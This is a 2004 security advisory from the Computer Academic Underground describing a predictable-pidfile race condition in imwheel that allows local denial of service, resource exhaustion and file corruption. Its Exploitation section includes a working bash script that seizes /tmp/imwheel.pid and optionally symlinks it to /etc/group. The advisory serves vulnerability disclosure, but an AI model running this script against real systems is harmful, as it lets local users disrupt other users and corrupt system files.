____ ____ __ __ / \ / \ | | | | ----====####/ /\__\##/ /\ \##| |##| |####====---- | | | |__| | | | | | | | ___ | __ | | | | | ------======######\ \/ /#| |##| |#| |##| |######======------ \____/ |__| |__| \______/ Computer Academic Underground http://www.caughq.org Security Advisory ===============/======================================================== Advisory ID: CAU-2004-0002 Release Date: 06/24/2004 Title: imwheel Predictable PidFile Name Race Condition Application/OS: imwheel 1.0.0pre11 (Linux/X11) Topic: imwheel's behavior regarding a predictably named pidfile introduces many security issues via a race condition. Vendor Status: Notified on 06/10/2004 via SourceForge, no response. Attributes: Denial of Service, Resource Exhaustion, Arbitrary File Modification Advisory URL: http://www.caughq.org/advisories/CAU-2004-0002.txt Author/Email: I)ruid ===============/======================================================== Overview ======== imwheel exclusively uses a predictably named PID file for management of multiple imwheel processes. A race condition exists when the -k command-line option is used to kill existing imwheel processes. This race condition may be used by a local user to Denial of Service another user using imwheel, lead to resource exhaustion of the host system, or append data to arbitrary files. Impact ====== Three separate issues may be inflicted by a successful race attack against the imwheel PID file. In the first case, a legitimate user may not be able to further use imwheel due to a malicious user taking control of the PID file. This will cause the imwheel process to be unable to write to the PID file and not start up properly. This case does not exist if imwheel is suid root or run by the root account, as those permissions will allow the PID to be written properly to the pidfile. In the second case, a malicious user may steal control of and constantly wipe the contents of the PID file, causing imwheel to be unable to detect and kill existing imwheel processes when it is started with the -k command-line option, eventually leading to resource exhaustion. In the third case, a malicious user may symlink the pidfile to an arbitrary file. If the permissions of the user running imwheel allows, imwheel will append it's PID to the arbitrary file, potentially causing corruption of data. The severity of this case is compounded if imwheel is suid root or run by the root account. Affected Systems ================ imwheel is developed for the Linux operating system and is a tool to be used under the X window environment. Technical Explanation ===================== imwheel uses a predictably named PID file to store process IDs of currently running imwheel processes. By default, this file is /tmp/imwheel.pid. If this file exists when imwheel starts, it appends it's PID to the file. If imwheel is started with the -k command-line option to kill all existing imwheel processes, imwheel calls the KillIMWheel() function in util.c to step through this file PID by PID, check via the /proc filesystem that the PID's name is imwheel, kill the process, then repeats for the remaining PIDs in the pidfile. When it has finished with each PID in the file, the file is unlinked, then re- created by the new process which writes it's PID to the file. This behavior creates a race condition where a malicious user may write to the pidfile during this time window. If imwheel is executed by a local user, this may prevent imwheel from starting properly if the pidfile's permissions do not allow the user to write to the pidfile, resulting in this error: ERROR: Couldn't write pid to pid file Perhaps you want the -p option to avoid this... Otherwise you may SUID root the imwheel executable. : Permission denied If the user executing imwheel does have permissions to write to the pidfile, imwheel will start properly, however the pidfile will still be owned by the malicious user, who may then wipe out the contents of the pidfile, causing further instances of imwheel run with the -k option to not properly shut down existing instances of imwheel, eventually causing resource exhaustion. Further, a malicious user could symlink the pidfile to any arbitrary file on the system, causing imwheel to append it's PID to the file, potentially causing corruption of data. Solution & Recommendations ========================== We are currently unaware of any vendor-provided solution to this issue. A workaround is to use imwheel's --pid|-p option to cause imwheel to run without checking or using PID files. This will prevent the local user DoS issue, however imwheel's --kill|-k option will not function properly. Exploitation ============ Exploitation of this race condition is trivial with a shell script: #!/bin/bash # you may have to adjust the number of characters in the print to # get the timing correct for the injection. Fewer characters seems # to prevent this from working. Optionally, replacing the echo # with the symlink creation at the end of this script seems to work # fairly regularly. CHARCOUNT=4000 echo `perl -e 'print "9" x $CHARCOUNT;'` > /tmp/imwheel.pid while [[ $? != 0 ]]; do echo `perl -e 'print "9" x $CHARCOUNT;'` > /tmp/imwheel.pid done # Wait for imwheel to write it's pid to the new file sleep 1 # Wipe the contents of the PID file. echo > /tmp/imwheel.pid # Optionally, replace the new file with a link # rm /tmp/imwheel.pid # ln -s /etc/group /tmp/imwheel.pid echo "Exploit Successful!!!" References ========== IMWheel - http://imwheel.sourceforge.net/ Notes ===== This advisory has been submitted to BugTraq repeatedly, each time returned with the apparently customary 'no action has been taken on your post' message, therefore this advisory has been cross-posted to other lists.